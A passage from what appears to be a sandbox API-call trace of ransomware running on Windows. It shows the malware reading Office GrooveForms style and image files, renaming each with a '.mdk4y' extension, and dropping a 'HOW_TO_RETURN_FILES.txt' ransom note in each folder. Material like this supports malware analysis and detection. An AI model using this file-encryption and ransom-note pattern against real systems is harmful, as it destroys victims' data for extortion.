office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css.mdk4y")) returned 1 [0187.515] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.515] AreFileApisANSI () returned 1 [0187.515] GetACP () returned 0x4e4 [0187.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Biscay", cchWideChar=6, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Biscaycss", lpUsedDefaultChar=0x37de34) returned 6 [0187.515] AreFileApisANSI () returned 1 [0187.515] GetACP () returned 0x4e4 [0187.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x691c88, cbMultiByte=80, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\") returned 80 [0187.515] AreFileApisANSI () returned 1 [0187.515] GetACP () returned 0x4e4 [0187.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0187.515] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.515] AreFileApisANSI () returned 1 [0187.515] GetACP () returned 0x4e4 [0187.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0187.515] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.515] AreFileApisANSI () returned 1 [0187.516] GetACP () returned 0x4e4 [0187.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0187.516] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826274600000) returned 1 [0187.516] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x155, lpOverlapped=0x0) returned 1 [0187.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826274700000) returned 1 [0187.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826274700000) returned 1 [0187.517] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif.mdk4y")) returned 1 [0187.518] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.518] AreFileApisANSI () returned 1 [0187.518] GetACP () returned 0x4e4 [0187.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0187.518] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826274800000) returned 1 [0187.518] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xde, lpOverlapped=0x0) returned 1 [0187.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826274900000) returned 1 [0187.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826274900000) returned 1 [0187.519] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif.mdk4y")) returned 1 [0187.520] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0187.520] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0187.520] AreFileApisANSI () returned 1 [0187.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0187.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.531] GetFileType (hFile=0x114) returned 0x1 [0187.532] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.532] AreFileApisANSI () returned 1 [0187.532] GetACP () returned 0x4e4 [0187.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Biscay.css", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Biscay.cssss", lpUsedDefaultChar=0x37de34) returned 10 [0187.532] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826276200000) returned 1 [0187.533] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xd80, lpOverlapped=0x0) returned 1 [0187.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826276400000) returned 1 [0187.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826276400000) returned 1 [0187.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css.mdk4y")) returned 1 [0187.535] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.535] AreFileApisANSI () returned 1 [0187.535] GetACP () returned 0x4e4 [0187.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightOrange", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="BrightOrange", lpUsedDefaultChar=0x37de34) returned 12 [0187.535] AreFileApisANSI () returned 1 [0187.535] GetACP () returned 0x4e4 [0187.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=86, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\鑖瞣_") returned 86 [0187.536] AreFileApisANSI () returned 1 [0187.536] GetACP () returned 0x4e4 [0187.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0187.536] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.536] AreFileApisANSI () returned 1 [0187.536] GetACP () returned 0x4e4 [0187.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0187.536] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.536] AreFileApisANSI () returned 1 [0187.536] GetACP () returned 0x4e4 [0187.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dda8) returned 14 [0187.536] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826276600000) returned 1 [0187.536] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x143, lpOverlapped=0x0) returned 1 [0187.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826276700000) returned 1 [0187.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826276700000) returned 1 [0187.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif.mdk4y")) returned 1 [0187.538] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.538] AreFileApisANSI () returned 1 [0187.538] GetACP () returned 0x4e4 [0187.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUTTON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="BUTTON.GIF.gif", lpUsedDefaultChar=0x37dda8) returned 10 [0187.538] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826276900000) returned 1 [0187.539] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xb9, lpOverlapped=0x0) returned 1 [0187.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826277000000) returned 1 [0187.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826277000000) returned 1 [0187.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif.mdk4y")) returned 1 [0187.563] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.563] AreFileApisANSI () returned 1 [0187.563] GetACP () returned 0x4e4 [0187.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIFgif", lpUsedDefaultChar=0x37dda8) returned 11 [0187.563] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826279300000) returned 1 [0187.563] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x155, lpOverlapped=0x0) returned 1 [0187.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826279400000) returned 1 [0187.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826279400000) returned 1 [0187.565] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif.mdk4y")) returned 1 [0187.565] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.565] AreFileApisANSI () returned 1 [0187.565] GetACP () returned 0x4e4 [0187.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0187.565] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826279600000) returned 1 [0187.566] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xde, lpOverlapped=0x0) returned 1 [0187.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826279700000) returned 1 [0187.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826279700000) returned 1 [0187.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif.mdk4y")) returned 1 [0187.569] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0187.569] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0187.569] AreFileApisANSI () returned 1 [0187.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 110 [0187.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.570] GetFileType (hFile=0x114) returned 0x1 [0187.571] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.571] AreFileApisANSI () returned 1 [0187.571] GetACP () returned 0x4e4 [0187.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightOrange.css", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="BrightOrange.cssi", lpUsedDefaultChar=0x37de34) returned 16 [0187.571] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0187.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826280100000) returned 1 [0187.571] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xc3c, lpOverlapped=0x0) returned 1 [0187.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826281300000) returned 1 [0187.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826281300000) returned 1 [0187.583] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css.mdk4y")) returned 1 [0187.585] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0187.585] AreFileApisANSI () returned 1 [0187.585] GetACP () returned 0x4e4 [0187.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightYellow", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="BrightYellow.css", lpUsedDefaultChar=0x37de34) returned 12 [0187.585] AreFileApisANSI () returned 1 [0187.585] GetACP () returned 0x4e4 [0187.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=86, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\鑖瞣_") returned 86 [0187.585] AreFileApisANSI () returned 1 [0187.585] GetACP () returned 0x4e4 [0187.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0187.585] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.585] AreFileApisANSI () returned 1 [0187.585] GetACP () returned 0x4e4 [0187.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0187.585] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.585] AreFileApisANSI () returned 1 [0187.585] GetACP () returned 0x4e4 [0187.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dda8) returned 10 [0187.585] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826281600000) returned 1 [0187.586] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x16f, lpOverlapped=0x0) returned 1 [0187.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826281600000) returned 1 [0187.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826281600000) returned 1 [0187.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif.mdk4y")) returned 1 [0187.587] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0187.587] AreFileApisANSI () returned 1 [0187.587] GetACP () returned 0x4e4 [0187.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0187.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0187.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826281800000) returned 1 [0187.588] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, 